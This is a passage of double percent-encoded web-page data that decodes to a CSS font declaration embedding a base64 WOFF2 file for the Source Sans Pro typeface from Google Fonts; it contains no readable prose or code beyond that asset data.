%36%35%25%37%30%25%36%31%25%36%37%25%36%35%25%32%64%25%37%35%25%37%32%25%36%63%25%33%64%25%36%38%25%37%34%25%37%34%25%37%30%25%37%33%25%33%61%25%32%66%25%32%66%25%36%36%25%36%66%25%36%65%25%37%34%25%37%33%25%32%65%25%36%37%25%37%33%25%37%34%25%36%31%25%37%34%25%36%39%25%36%33%25%32%65%25%36%33%25%36%66%25%36%64%25%32%66%25%37%33%25%32%66%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%37%33%25%36%31%25%36%65%25%37%33%25%37%30%25%37%32%25%36%66%25%32%66%25%37%36%25%33%31%25%33%34%25%32%66%25%33%36%25%37%38%25%34%62%25%33%33%25%36%34%25%35%33%25%34%32%25%35%39%25%34%62%25%36%33%25%35%33%25%35%36%25%32%64%25%34%63%25%34%33%25%36%66%25%36%35%25%35%31%25%37%31%25%36%36%25%35%38%25%33%31%25%35%32%25%35%39%25%34%66%25%36%66%25%33%33%25%37%31%25%34%65%25%36%31%25%33%37%25%36%63%25%37%31%25%34%34%25%35%39%25%32%65%25%37%37%25%36%66%25%36%36%25%36%36%25%33%32%25%32%61%25%32%66%25%32%30%25%37%35%25%37%32%25%36%63%25%32%38%25%36%34%25%36%31%25%37%34%25%36%31%25%33%61%25%36%36%25%36%66%25%36%65%25%37%34%25%32%66%25%37%37%25%36%66%25%36%36%25%36%36%25%33%32%25%33%62%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%63%25%36%34%25%33%30%25%33%39%25%34%37%25%34%64%25%36%37%25%34%31%25%34%32%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%32%25%37%32%25%35%35%25%34%31%25%34%32%25%34%35%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%35%31%25%34%66%25%36%37%25%34%31%25%34%31%25%34%32%25%37%30%25%33%30%25%34%31%25%34%31%25%34%35%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%37%25%36%61%25%36%66%25%36%32%25%36%62%25%36%65%25%36%66%25%36%33%25%34%65%25%36%37%25%35%61%25%36%37%25%34%31%25%34%39%25%36%33%25%35%39%25%34%33%25%34%33%25%36%66%25%34%61%25%36%37%25%36%65%25%34%64%25%35%32%25%34%33%25%34%31%25%37%32%25%35%30%25%35%37%25%34%64%25%35%61%25%34%33%25%34%33%25%33%34%25%34%35%25%36%66%25%34%31%25%34%31%25%34%35%25%33%32%25%34%31%25%36%39%25%35%31%25%34%34%25%36%37%25%36%61%25%33%34%25%34%35%25%34%39%25%34%31%25%35%37%25%34%36%25%34%64%25%36%37%25%36%35%25%34%36%25%36%33%25%37%37%25%37%38%25%35%37%25%34%37%25%33%33%25%37%33%25%33%36%25%34%32%25%33%39%25%36%37%25%33%32%25%36%61%25%35%33%25%36%65%25%35%39%25%33%37%25%35%31%25%34%33%25%34%62%25%37%31%25%33%35%25%36%35%25%33%33%25%36%61%25%34%62%25%34%61%25%33%30%25%36%33%25%37%35%25%33%34%25%36%32%25%35%32%25%36%31%25%33%30%25%35%37%25%36%35%25%33%33%25%33%37%25%34%32%25%32%66%25%32%66%25%32%66%25%33%33%25%37%30%25%34%34%25%34%61%25%37%35%25%35%38%25%33%32%25%37%61%25%37%36%25%37%30%25%35%31%25%34%32%25%34%35%25%34%63%25%34%33%25%37%34%25%35%39%25%36%62%25%37%30%25%34%38%25%37%35%25%35%61%25%35%38%25%35%31%25%34%39%25%34%39%25%33%30%25%37%38%25%36%65%25%34%66%25%35%36%25%33%36%25%37%61%25%34%64%25%37%39%25%35%30%25%36%61%25%36%37%25%37%34%25%36%32%25%34%64%25%35%38%25%34%63%25%34%62%25%37%37%25%37%37%25%36%65%25%36%31%25%35%39%25%33%35%25%32%62%25%37%36%25%33%38%25%34%63%25%37%36%25%35%36%25%35%39%25%36%63%25%33%36%25%34%36%25%36%65%25%36%38%25%34%64%25%33%32%25%34%64%25%36%35%25%36%38%25%37%34%25%37%35%25%36%63%25%37%35%25%36%31%25%37%61%25%34%62%25%35%35%25%34%65%25%33%33%25%35%34%25%35%38%25%37%61%25%35%32%25%37%36%25%34%61%25%33%39%25%37%36%25%35%30%25%37%61%25%33%38%25%36%64%25%36%64%25%35%39%25%36%31%25%34%61%25%36%64%25%33%39%25%35%30%25%37%33%25%34%61%25%33%33%25%36%63%25%34%64%25%33%38%25%35%36%25%32%66%25%35%32%25%34%34%25%37%61%25%34%63%25%35%61%25%33%37%25%37%32%25%34%64%25%34%37%25%35%37%25%35%31%25%33%31%25%37%31%25%32%66%25%33%32%25%36%61%25%34%38%25%35%61%25%33%37%25%34%64%25%35%33%25%34%36%25%35%34%25%35%33%25%34%33%25%34%39%25%34%32%25%34%36%25%34%38%25%36%39%25%33%39%25%36%65%25%36%65%25%37%35%25%34%35%25%35%33%25%33%32%25%37%35%25%34%33%25%34%31%25%37%31%25%34%64%25%35%37%25%34%37%25%35%39%25%37%36%25%32%62%25%36%62%25%37%37%25%35%37%25%37%33%25%36%66%25%35%39%25%35%61%25%35%30%25%34%66%25%36%39%25%34%66%25%37%36%25%33%34%25%34%39%25%36%61%25%35%38%25%33%32%25%35%33%25%35%33%25%37%38%25%34%33%25%37%34%25%36%63%25%36%34%25%35%35%25%33%39%25%36%35%25%32%66%25%37%35%25%34%31%25%34%39%25%35%38%25%33%37%25%35%37%25%35%35%25%36%36%25%34%35%25%34%64%25%36%65%25%37%34%25%36%62%25%33%34%25%37%34%25%36%62%25%34%31%25%37%35%25%34%63%25%36%39%25%33%35%25%34%62%25%34%64%25%35%31%25%36%66%25%34%38%25%35%30%25%35%30%25%33%37%25%33%33%25%34%66%25%37%36%25%33%33%25%34%66%25%36%36%25%35%35%25%32%62%25%35%33%25%35%61%25%35%39%25%37%36%25%34%64%25%34%64%25%36%62%25%33%31%25%34%37%25%34%31%25%35%38%25%35%61%25%34%39%25%35%39%25%35%34%25%37%35%25%37%61%25%34%37%25%33%30%25%34%32%25%37%39%25%34%35%25%35%30%25%33%32%25%37%38%25%35%33%25%37%32%25%33%33%25%34%64%25%33%35%25%36%34%25%33%38%25%35%33%25%37%31%25%35%30%25%37%61%25%36%63%25%34%35%25%37%32%25%35%31%25%34%31%25%35%35%25%34%33%25%33%31%25%37%32%25%34%38%25%36%65%25%33%36%25%36%32%25%32%66%25%32%62%25%36%39%25%37%35%25%37%38%25%35%36%25%33%30%25%34%63%25%36%39%25%34%62%25%34%62%25%36%61%25%34%36%25%36%35%25%36%64%25%32%62%25%36%33%25%34%37%25%36%62%25%37%38%25%34%63%25%36%39%25%33%30%25%35%34%25%33%37%25%36%35%25%35%38%25%33%35%25%37%61%25%33%37%25%36%64%25%36%66%25%36%33%25%37%30%25%33%30%25%37%36%25%33%38%25%34%63%25%32%66%25%34%38%25%36%64%25%36%39%25%36%62%25%37%32%25%32%62%25%33%37%25%36%65%25%37%31%25%36%35%25%34%34%25%37%61%25%37%38%25%33%33%25%35%30%25%34%32%25%34%34%25%34%36%25%34%36%25%33%30%25%35%37%25%32%62%25%34%66%25%34%34%25%34%31%25%34%65%25%36%37%25%34%37%25%33%39%25%33%35%25%37%37%25%36%65%25%36%64%25%36%31%25%33%31%25%33%30%25%34%32%25%35%38%25%34%39%25%34%34%25%35%37%25%36%32%25%32%66%25%36%65%25%37%35%25%34%38%25%36%66%25%36%35%25%35%61%25%34%66%25%35%39%25%37%38%25%34%39%25%37%30%25%34%66%25%36%32%25%36%37%25%37%34%25%37%38%25%36%31%25%35%36%25%34%36%25%32%62%25%34%38%25%34%32%25%36%37%25%36%62%25%33%32%25%37%30%25%37%32%25%36%38%25%36%33%25%36%32%25%34%36%25%33%36%25%34%37%25%35%33%25%37%37%25%33%36%25%36%63%25%33%35%25%34%61%25%33%38%25%37%33%25%36%65%25%37%39%25%33%35%25%34%62%25%33%31%25%34%38%25%36%33%25%37%33%25%33%37%25%35%30%25%33%38%25%35%39%25%37%35%25%35%37%25%36%37%25%35%33%25%35%35%25%36%63%25%37%36%25%34%32%25%35%33%25%36%65%25%36%38%25%35%33%25%35%31%25%33%35%25%36%61%25%33%38%25%37%37%25%35%33%25%35%31%25%34%38%25%33%38%25%36%32%25%33%38%25%33%31%25%37%30%25%36%61%25%34%65%25%37%61%25%33%35%25%35%33%25%35%35%25%34%39%25%34%61%25%36%37%25%34%37%25%35%38%25%34%66%25%36%63%25%33%31%25%34%39%25%34%64%25%34%31%25%34%32%25%34%32%25%36%39%25%36%32%25%35%31%25%37%33%25%34%63%25%32%62%25%36%33%25%35%36%25%35%31%25%34%66%25%32%66%25%35%38%25%34%38%25%34%66%25%33%36%25%34%36%25%36%65%25%36%61%25%37%35%25%35%39%25%33%32%25%34%64%25%37%34%25%36%63%25%37%39%25%37%37%25%34%34%25%34%64%25%37%34%25%36%61%25%35%34%25%36%66%25%33%33%25%35%34%25%35%30%25%37%61%25%37%35%25%35%30%25%37%37%25%36%37%25%36%39%25%34%39%25%34%37%25%35%35%25%35%32%25%36%32%25%37%36%25%33%39%25%37%36%25%37%32%25%36%34%25%34%61%25%35%37%25%35%34%25%36%36%25%35%37%25%32%66%25%32%66%25%36%32%25%33%33%25%33%35%25%34%33%25%33%33%25%33%31%25%36%66%25%35%31%25%33%30%25%36%33%25%36%62%25%33%33%25%34%64%25%36%32%25%36%63%25%37%32%25%35%39%25%37%34%25%37%61%25%33%31%25%36%34%25%35%35%25%33%39%25%35%35%25%34%36%25%33%33%25%35%34%25%36%64%25%35%36%25%33%37%25%34%31%25%33%33%25%36%37%25%36%65%25%37%37%25%33%37%25%34%32%25%37%61%25%34%32%25%35%61%25%34%39%25%34%66%25%34%63%25%34%61%25%34%31%25%34%64%25%37%31%25%36%61%25%36%63%25%37%61%25%33%38%25%34%39%25%36%33%25%33%35%25%37%35%25%36%37%25%34%65%25%35%33%25%37%30%25%34%31%25%34%63%25%34%34%25%35%31%25%35%39%25%35%32%25%37%35%25%36%61%25%34%39%25%36%64%25%37%39%25%37%33%25%34%32%25%35%32%25%35%35%25%36%38%25%35%36%25%34%62%25%35%31%25%34%61%25%35%30%25%34%36%25%33%39%25%35%34%25%36%62%25%32%66%25%37%32%25%33%39%25%36%32%25%33%34%25%33%31%25%36%62%25%36%35%25%34%61%25%33%33%25%36%35%25%36%61%25%34%65%25%34%39%25%34%39%25%37%36%25%34%39%25%33%37%25%35%34%25%34%37%25%34%61%25%34%31%25%33%33%25%36%35%25%33%32%25%35%36%25%35%36%25%34%39%25%37%31%25%36%36%25%33%30%25%35%34%25%37%33%25%33%39%25%33%37%25%36%34%25%37%35%25%36%31%25%35%35%25%36%34%25%35%37%25%36%66%25%35%61%25%34%38%25%36%38%25%37%39%25%34%31%25%35%39%25%37%32%25%37%31%25%34%37%25%35%38%25%36%39%25%34%37%25%35%31%25%34%35%25%35%61%25%35%61%25%35%32%25%36%31%25%37%39%25%33%30%25%36%65%25%32%62%25%34%61%25%33%34%25%32%66%25%36%36%25%35%36%25%34%64%25%33%35%25%37%32%25%37%30%25%37%61%25%37%34%25%36%61%25%37%35%25%36%33%25%35%32%25%35%33%25%37%34%25%34%35%25%37%32%25%35%39%25%37%33%25%37%39%25%33%39%25%37%32%25%37%31%25%33%38%25%37%35%25%33%36%25%36%66%25%35%61%25%36%36%25%36%33%25%34%64%25%33%30%25%36%38%25%36%63%25%35%36%25%36%39%25%34%65%25%34%32%25%37%36%25%33%30%25%34%34%25%34%36%25%36%31%25%34%31%25%36%36%25%35%31%25%34%38%25%34%61%25%36%38%25%34%66%25%34%37%25%34%39%25%37%39%25%34%35%25%35%39%25%37%35%25%34%36%25%34%61%25%34%33%25%35%35%25%35%32%25%36%64%25%33%34%25%33%32%25%36%62%25%37%30%25%35%61%25%34%35%25%36%35%25%35%30%25%35%31%25%36%39%25%34%32%25%35%38%25%37%30%25%34%66%25%37%39%25%36%38%25%34%36%25%35%36%25%37%32%25%34%32%25%36%39%25%36%33%25%35%32%25%33%32%25%33%33%25%32%66%25%37%34%25%33%37%25%34%31%25%34%32%25%34%36%25%36%38%25%33%38%25%33%38%25%33%32%25%33%39%25%33%32%25%34%37%25%36%36%25%37%39%25%34%37%25%35%33%25%35%30%25%36%33%25%34%31%25%37%33%25%34%32%25%37%31%25%35%30%25%32%62%25%34%32%25%36%37%25%34%62%25%37%30%25%34%63%25%36%34%25%35%32%25%36%65%25%36%61%25%35%34%25%32%62%25%35%30%25%33%34%25%37%37%25%36%32%25%34%64%25%36%61%25%37%38%25%34%34%25%33%35%25%33%33%25%34%31%25%37%37%25%34%35%25%34%31%25%37%37%25%33%35%25%34%33%25%37%32%25%33%36%25%33%38%25%37%32%25%36%39%25%35%32%25%37%34%25%37%37%25%37%39%25%33%36%25%37%35%25%36%37%25%34%35%25%37%36%25%33%33%25%34%63%25%33%36%25%34%38%25%37%39%25%33%35%25%35%34%25%35%36%25%33%31%25%35%30%25%34%31%25%33%39%25%35%36%25%32%66%25%34%35%25%36%35%25%33%34%25%33%30%25%34%31%25%34%38%25%37%36%25%37%31%25%34%66%25%37%37%25%34%34%25%35%34%25%35%61%25%37%31%25%35%34%25%33%37%25%33%35%25%36%38%25%33%30%25%34%64%25%35%61%25%32%66%25%35%36%25%34%65%25%34%61%25%36%36%25%34%34%25%33%30%25%36%63%25%34%31%25%35%30%25%36%66%25%36%34%25%35%32%25%36%65%25%33%32%25%36%62%25%32%62%25%37%38%25%37%30%25%33%32%25%34%34%25%33%35%25%37%37%25%36%63%25%35%30%25%33%36%25%34%39%25%36%39%25%37%34%25%34%36%25%35%38%25%37%39%25%32%62%25%36%36%25%34%62%25%33%33%25%37%39%25%33%34%25%34%38%25%34%32%25%34%35%25%36%31%25%35%61%25%35%38%25%34%39%25%34%36%25%33%38%25%37%38%25%35%34%25%35%61%25%36%61%25%36%39%25%35%34%25%34%33%25%36%36%25%37%61%25%36%36%25%36%61%25%33%35%25%33%37%25%33%30%25%35%34%25%34%33%25%33%32%25%36%32%25%34%34%25%37%30%25%36%34%25%37%61%25%33%31%25%35%61%25%36%33%25%33%35%25%34%61%25%36%38%25%34%38%25%34%62%25%33%38%25%35%31%25%34%34%25%36%35%25%37%32%25%36%38%25%37%37%25%34%31%25%36%66%25%33%36%25%34%66%25%34%34%25%36%33%25%35%31%25%35%36%25%35%39%25%34%62%25%35%61%25%36%37%25%34%64%25%36%35%25%34%33%25%36%36%25%35%37%25%33%34%25%36%38%25%34%37%25%37%37%25%37%39%25%35%31%25%34%39%25%35%39%25%34%35%25%34%39%25%36%63%25%36%61%25%36%62%25%35%35%25%35%35%25%33%33%25%32%62%25%34%63%25%34%31%25%34%39%25%37%36%25%36%63%25%37%34%25%36%61%25%36%64%25%37%31%25%33%33%25%32%66%25%37%31%25%37%61%25%37%30%25%32%66%25%34%31%25%36%62%25%34%31%25%33%32%25%37%30%25%34%38%25%33%32%25%34%63%25%36%65%25%34%35%25%34%61%25%34%64%25%34%65%25%33%38%25%36%38%25%36%66%25%33%36%25%33%37%25%33%32%25%33%37%25%37%31%25%33%36%25%37%32%25%33%35%25%36%65%25%34%61%25%34%64%25%34%64%25%35%61%25%36%36%25%33%31%25%32%66%25%35%34%25%35%36%25%36%38%25%34%35%25%36%36%25%35%37%25%36%61%25%35%30%25%33%39%25%35%30%25%33%30%25%36%62%25%37%34%25%35%36%25%36%35%25%33%36%25%36%62%25%35%34%25%34%39%25%34%65%25%36%64%25%35%33%25%35%31%25%34%62%25%37%36%25%34%32%25%33%34%25%34%66%25%34%66%25%33%34%25%36%39%25%36%32%25%33%31%25%33%37%25%35%38%25%34%32%25%37%39%25%36%64%25%34%39%25%37%31%25%35%32%25%33%37%25%35%34%25%34%35%25%35%36%25%35%35%25%36%63%25%34%61%25%34%64%25%34%62%25%34%61%25%36%66%25%32%62%25%33%38%25%35%32%25%37%37%25%36%63%25%33%36%25%35%31%25%33%38%25%37%31%25%34%34%25%36%33%25%37%30%25%34%37%25%35%38%25%34%32%25%36%34%25%33%30%25%32%66%25%37%32%25%37%32%25%35%61%25%37%61%25%36%32%25%34%34%25%37%38%25%37%38%25%33%31%25%33%38%25%32%62%25%35%39%25%35%37%25%34%38%25%34%33%25%35%36%25%33%38%25%33%35%25%33%33%25%35%32%25%37%33%25%36%65%25%36%39%25%36%36%25%36%36%25%36%62%25%33%39%25%34%66%25%35%31%25%33%32%25%33%36%25%36%66%25%34%63%25%35%39%25%36%31%25%37%35%25%33%34%25%36%63%25%34%35%25%35%36%25%34%63%25%35%36%25%35%61%25%37%31%25%35%38%25%35%61%25%35%39%25%35%61%25%35%34%25%35%32%25%34%61%25%37%36%25%36%63%25%34%31%25%34%65%25%36%62%25%34%35%25%36%32%25%34%32%25%34%38%25%37%35%25%36%34%25%35%33%25%34%66%25%36%35%25%33%37%25%35%61%25%36%32%25%34%38%25%34%32%25%34%64%25%34%34%25%33%32%25%36%39%25%37%31%25%36%64%25%33%30%25%36%36%25%35%39%25%33%30%25%36%33%25%35%31%25%37%61%25%33%32%25%34%33%25%34%63%25%32%62%25%34%65%25%36%39%25%35%36%25%37%35%25%37%61%25%36%35%25%36%37%25%34%39%25%33%38%25%37%33%25%35%36%25%33%37%25%36%61%25%37%34%25%36%64%25%36%63%25%35%36%25%36%39%25%34%37%25%35%34%25%37%61%25%35%38%25%34%35%25%34%35%25%32%66%25%34%35%25%33%36%25%36%39%25%33%36%25%35%30%25%35%61%25%35%37%25%34%62%25%33%34%25%34%34%25%37%39%25%34%31%25%34%39%25%33%34%25%34%37%25%35%37%25%34%64%25%35%33%25%35%31%25%33%31%25%37%37%25%34%34%25%32%62%25%36%38%25%37%35%25%34%31%25%35%33%25%36%61%25%37%38%25%33%37%25%35%38%25%33%31%25%36%66%25%37%32%25%37%37%25%33%35%25%34%65%25%34%37%25%33%32%25%34%64%25%36%37%25%35%34%25%36%36%25%33%33%25%35%31%25%32%66%25%35%32%25%34%61%25%36%37%25%34%33%25%33%39%25%35%37%25%34%31%25%34%32%25%36%64%25%36%39%25%36%34%25%35%36%25%33%30%25%35%31%25%33%36%25%37%31%25%36%38%25%32%62%25%33%37%25%37%32%25%33%37%25%33%35%25%36%35%25%34%64%25%37%61%25%35%36%25%34%62%25%33%37%25%35%61%25%33%39%25%34%34%25%35%31%25%36%39%25%34%39%25%34%65%25%37%33%25%34%63%25%34%65%25%34%35%25%33%36%25%33%37%25%33%39%25%36%66%25%36%65%25%33%37%25%37%38%25%37%38%25%36%65%25%33%30%25%37%32%25%35%33%25%37%61%25%36%34%25%35%33%25%37%31%25%34%33%25%36%35%25%37%31%25%34%61%25%35%31%25%36%63%25%36%33%25%35%61%25%37%31%25%37%32%25%34%65%25%35%35%25%36%35%25%36%65%25%37%34%25%36%34%25%34%38%25%33%36%25%36%65%25%35%35%25%34%65%25%37%36%25%34%39%25%36%37%25%36%38%25%36%38%25%36%35%25%36%62%25%36%34%25%35%37%25%36%65%25%36%39%25%37%31%25%36%38%25%36%63%25%36%65%25%34%38%25%34%39%25%37%32%25%33%37%25%34%62%25%35%37%25%36%33%25%34%36%25%35%34%25%34%63%25%34%31%25%32%62%25%36%65%25%36%38%25%34%34%25%32%62%25%34%63%25%34%33%25%36%31%25%36%35%25%33%38%25%35%39%25%33%30%25%35%35%25%35%39%25%36%35%25%33%39%25%37%39%25%36%32%25%35%61%25%37%31%25%36%31%25%36%66%25%34%61%25%35%34%25%33%39%25%33%34%25%33%39%25%33%37%25%36%64%25%34%33%25%36%66%25%37%30%25%37%37%25%34%33%25%34%64%25%36%37%25%34%39%25%35%33%25%36%32%25%33%31%25%35%34%25%37%61%25%37%34%25%35%38%25%34%35%25%36%33%25%34%38%25%34%63%25%33%31%25%33%30%25%34%61%25%32%62%25%36%36%25%35%30%25%34%37%25%33%38%25%36%61%25%37%36%25%34%32%25%33%37%25%33%35%25%33%32%25%37%39%25%34%32%25%34%65%25%35%36%25%36%31%25%35%33%25%33%36%25%35%36%25%37%35%25%34%66%25%36%62%25%36%65%25%35%37%25%33%31%25%37%33%25%36%65%25%35%37%25%35%37%25%33%38%25%37%33%25%33%31%25%37%39%25%33%37%25%36%65%25%37%32%25%34%32%25%37%31%25%36%39%25%34%32%25%37%61%25%34%32%25%35%35%25%37%37%25%34%39%25%36%32%25%35%31%25%36%64%25%36%66%25%36%36%25%33%36%25%32%62%25%34%65%25%33%34%25%34%35%25%37%36%25%35%32%25%37%39%25%34%32%25%34%64%25%34%34%25%37%61%25%34%64%25%33%31%25%34%33%25%32%66%25%37%30%25%36%61%25%37%38%25%32%62%25%37%33%25%33%34%25%37%30%25%34%66%25%34%38%25%35%39%25%36%65%25%37%31%25%37%36%25%34%37%25%35%61%25%34%34%25%35%39%25%34%63%25%36%33%25%32%62%25%37%30%25%34%38%25%33%36%25%36%65%25%35%36%25%34%36%25%33%37%25%37%39%25%37%32%25%35%35%25%32%66%25%33%39%25%37%39%25%34%38%25%34%66%25%37%33%25%35%39%25%34%61%25%35%30%25%35%35%25%36%65%25%37%34%25%33%36%25%36%36%25%36%37%25%32%66%25%32%62%25%33%37%25%34%64%25%33%32%25%35%32%25%36%61%25%34%32%25%36%33%25%36%38%25%33%31%25%37%31%25%34%66%25%35%61%25%37%33%25%34%32%25%35%33%25%37%31%25%37%30%25%36%31%25%37%31%25%35%33%25%35%39%25%35%37%25%37%34%25%37%37%25%37%31%25%35%36%25%33%35%25%37%33%25%32%62%25%36%38%25%35%35%25%36%38%25%35%39%25%36%65%25%35%32%25%36%39%25%34%34%25%35%31%25%37%31%25%35%33%25%34%61%25%33%30%25%36%64%25%36%39%25%34%33%25%34%66%25%34%66%25%36%37%25%35%33%25%34%32%25%34%65%25%34%65%25%37%30%25%36%39%25%34%61%25%37%35%25%36%32%25%37%37%25%36%33%25%33%39%25%36%37%25%34%64%25%34%61%25%36%64%25%34%31%25%35%39%25%35%34%25%36%66%25%35%30%25%36%37%25%35%33%25%37%30%25%34%33%25%37%30%25%35%31%25%37%30%25%36%37%25%36%66%25%34%32%25%35%35%25%35%31%25%36%66%25%36%37%25%34%62%25%33%36%25%37%39%25%35%38%25%35%31%25%32%62%25%34%66%25%36%63%25%33%31%25%35%39%25%34%37%25%34%37%25%34%36%25%33%36%25%35%32%25%35%37%25%34%38%25%37%39%25%36%31%25%35%32%25%32%62%25%36%62%25%34%39%25%36%61%25%34%33%25%34%34%25%35%38%25%37%38%25%37%37%25%35%38%25%37%30%25%37%37%25%37%32%25%37%39%25%36%62%25%34%64%25%35%38%25%34%36%25%34%32%25%35%35%25%36%38%25%36%39%25%33%34%25%36%64%25%34%31%25%34%32%25%36%63%25%36%33%25%37%32%25%34%38%25%34%32%25%33%32%25%36%39%25%34%35%25%34%62%25%34%35%25%37%38%25%36%35%25%36%38%25%36%37%25%36%37%25%36%64%25%34%39%25%36%62%25%35%34%25%36%38%25%33%35%25%36%37%25%34%63%25%34%34%25%36%66%25%34%35%25%34%64%25%35%35%25%34%35%25%36%38%25%36%31%25%33%35%25%37%37%25%37%36%25%37%30%25%33%33%25%35%39%25%34%65%25%36%35%25%33%31%25%33%31%25%35%39%25%36%62%25%34%33%25%35%35%25%35%36%25%34%32%25%35%32%25%36%62%25%34%64%25%34%65%25%37%37%25%33%37%25%37%30%25%34%39%25%36%35%25%37%35%25%36%66%25%36%33%25%34%39%25%36%35%25%35%33%25%34%38%25%33%39%25%35%39%25%34%37%25%34%66%25%33%37%25%35%33%25%37%35%25%37%38%25%36%39%25%35%32%25%32%66%25%33%37%25%33%33%25%37%61%25%37%61%25%33%36%25%35%32%25%36%33%25%33%34%25%34%35%25%37%61%25%34%61%25%36%37%25%34%33%25%35%61%25%35%30%25%37%39%25%35%34%25%34%63%25%35%36%25%33%37%25%35%37%25%35%30%25%36%66%25%34%63%25%35%36%25%35%61%25%34%37%25%33%33%25%36%64%25%37%38%25%35%36%25%33%31%25%35%35%25%34%33%25%37%39%25%37%36%25%35%30%25%37%37%25%36%61%25%36%31%25%34%33%25%33%37%25%35%31%25%34%38%25%37%61%25%34%65%25%34%32%25%33%38%25%34%31%25%34%39%25%34%34%25%36%38%25%37%30%25%35%31%25%37%37%25%34%31%25%35%32%25%36%66%25%34%39%25%34%61%25%36%32%25%36%39%25%34%33%25%34%35%25%37%61%25%36%37%25%35%30%25%34%63%25%35%31%25%36%61%25%36%38%25%35%30%25%37%32%25%36%38%25%36%64%25%33%32%25%34%39%25%33%35%25%37%35%25%36%39%25%36%37%25%34%33%25%33%31%25%36%62%25%36%33%25%37%35%25%35%35%25%33%39%25%33%31%25%33%36%25%37%35%25%37%61%25%32%62%25%36%35%25%33%37%25%33%35%25%33%36%25%33%30%25%36%31%25%36%62%25%34%65%25%37%33%25%34%34%25%36%32%25%34%33%25%36%39%25%36%32%25%37%31%25%36%63%25%36%37%25%33%31%25%35%36%25%37%31%25%33%39%25%33%30%25%35%37%25%37%38%25%37%61%25%32%66%25%37%39%25%36%38%25%34%37%25%34%35%25%34%64%25%36%62%25%34%38%25%34%65%25%32%66%25%36%62%25%34%38%25%32%66%25%34%31%25%37%35%25%37%31%25%36%64%25%35%37%25%34%61%25%37%37%25%32%62%25%35%35%25%37%31%25%33%39%25%34%31%25%35%34%25%35%61%25%36%32%25%33%37%25%36%36%25%36%63%25%34%39%25%32%66%25%33%31%25%34%32%25%35%36%25%34%34%25%35%31%25%37%30%25%34%31%25%35%37%25%34%61%25%34%31%25%36%64%25%37%38%25%34%39%25%37%36%25%35%33%25%37%38%25%35%32%25%36%62%25%35%33%25%36%37%25%36%61%25%35%32%25%35%34%25%36%63%25%36%39%25%35%38%25%37%36%25%37%30%25%37%39%25%34%31%25%37%31%25%35%33%25%35%33%25%37%31%25%37%39%25%36%64%25%37%31%25%34%62%25%36%38%25%36%31%25%36%64%25%36%63%25%33%30%25%36%65%25%35%34%25%33%34%25%36%32%25%37%39%25%36%61%25%34%35%25%37%37%25%36%61%25%34%63%25%36%62%25%37%37%25%33%30%25%33%38%25%35%31%25%37%39%25%37%33%25%37%39%25%33%30%25%36%33%25%34%62%25%33%39%25%36%36%25%35%37%25%34%38%25%35%39%25%34%31%25%36%34%25%35%31%25%35%31%25%34%35%25%34%31%25%36%32%25%34%32%25%35%31%25%33%35%25%35%36%25%37%34%25%35%32%25%34%39%25%35%31%25%34%36%25%35%39%25%36%39%25%35%35%25%33%37%25%34%39%25%34%66%25%34%33%25%36%33%25%36%65%25%36%38%25%37%39%25%34%39%25%37%37%25%36%33%25%36%37%25%35%35%25%35%34%25%36%62%25%35%33%25%34%37%25%35%32%25%34%66%25%34%63%25%36%62%25%35%36%25%36%39%25%36%33%25%36%38%25%36%64%25%37%39%25%34%39%25%34%36%25%36%33%25%36%39%25%34%33%25%36%32%25%36%62%25%34%62%25%35%37%25%35%61%25%34%62%25%37%32%25%36%62%25%35%61%25%35%32%25%36%33%25%36%37%25%33%36%25%37%61%25%34%39%25%37%34%25%35%35%25%36%38%25%34%37%25%37%32%25%36%62%25%35%30%25%35%37%25%33%35%25%34%37%25%35%39%25%36%62%25%34%61%25%33%37%25%36%33%25%36%37%25%34%37%25%33%33%25%34%39%25%37%32%25%35%35%25%37%30%25%34%34%25%36%32%25%36%62%25%34%33%25%33%33%25%33%35%25%34%36%25%33%31%25%34%39%25%36%38%25%37%37%25%33%38%25%36%39%25%34%66%25%32%66%25%34%32%25%37%35%25%37%30%25%36%62%25%37%36%25%33%38%25%36%37%25%36%35%25%33%33%25%34%39%25%33%33%25%35%35%25%36%39%25%35%30%25%33%33%25%34%39%25%34%31%25%36%34%25%37%39%25%35%30%25%33%31%25%34%39%25%36%65%25%34%34%25%37%39%25%34%32%25%34%38%25%37%33%25%36%38%25%34%36%25%37%30%25%36%62%25%34%35%25%33%33%25%34%39%25%37%39%25%36%36%25%35%39%25%36%66%25%34%66%25%33%37%25%35%39%25%34%66%25%35%34%25%36%34%25%36%39%25%34%64%25%36%65%25%34%64%25%36%65%25%35%34%25%37%39%25%34%39%25%35%35%25%33%38%25%36%37%25%33%37%25%35%34%25%34%61%25%37%33%25%33%38%25%36%39%25%35%36%25%37%36%25%34%39%25%34%32%25%33%30%25%37%39%25%34%39%25%37%36%25%34%39%25%36%61%25%36%32%25%37%39%25%34%35%25%36%34%25%34%64%25%36%65%25%34%63%25%35%33%25%34%35%25%36%63%25%36%35%25%35%31%25%35%38%25%37%32%25%36%62%25%35%36%25%36%35%25%35%32%25%34%66%25%33%33%25%36%62%25%35%30%25%33%36%25%33%35%25%34%38%25%33%33%25%36%62%25%35%31%25%35%34%25%33%35%25%34%33%25%34%32%25%37%35%25%35%32%25%36%61%25%33%35%25%34%35%25%36%62%25%32%62%25%35%31%25%35%39%25%36%32%25%36%62%25%35%35%25%32%62%25%35%32%25%34%36%25%37%36%25%36%62%25%34%61%25%34%37%25%33%35%25%34%37%25%37%36%25%36%62%25%35%34%25%36%32%25%33%35%25%34%34%25%37%38%25%37%35%25%35%32%25%33%37%25%33%35%25%34%35%25%35%30%25%35%36%25%34%32%25%33%32%25%35%38%25%37%37%25%34%34%25%35%33%25%37%31%25%34%38%25%34%61%25%33%31%25%36%34%25%34%31%25%33%33%25%36%32%25%35%35%25%36%61%25%33%30%25%36%62%25%36%39%25%35%30%25%36%32%25%34%61%25%36%32%25%34%39%25%37%34%25%35%38%25%37%37%25%35%33%25%37%32%25%33%32%25%36%35%25%36%34%25%37%32%25%33%38%25%32%62%25%37%32%25%37%37%25%35%30%25%35%36%25%34%31%25%34%36%25%34%66%25%33%35%25%35%32%25%32%66%25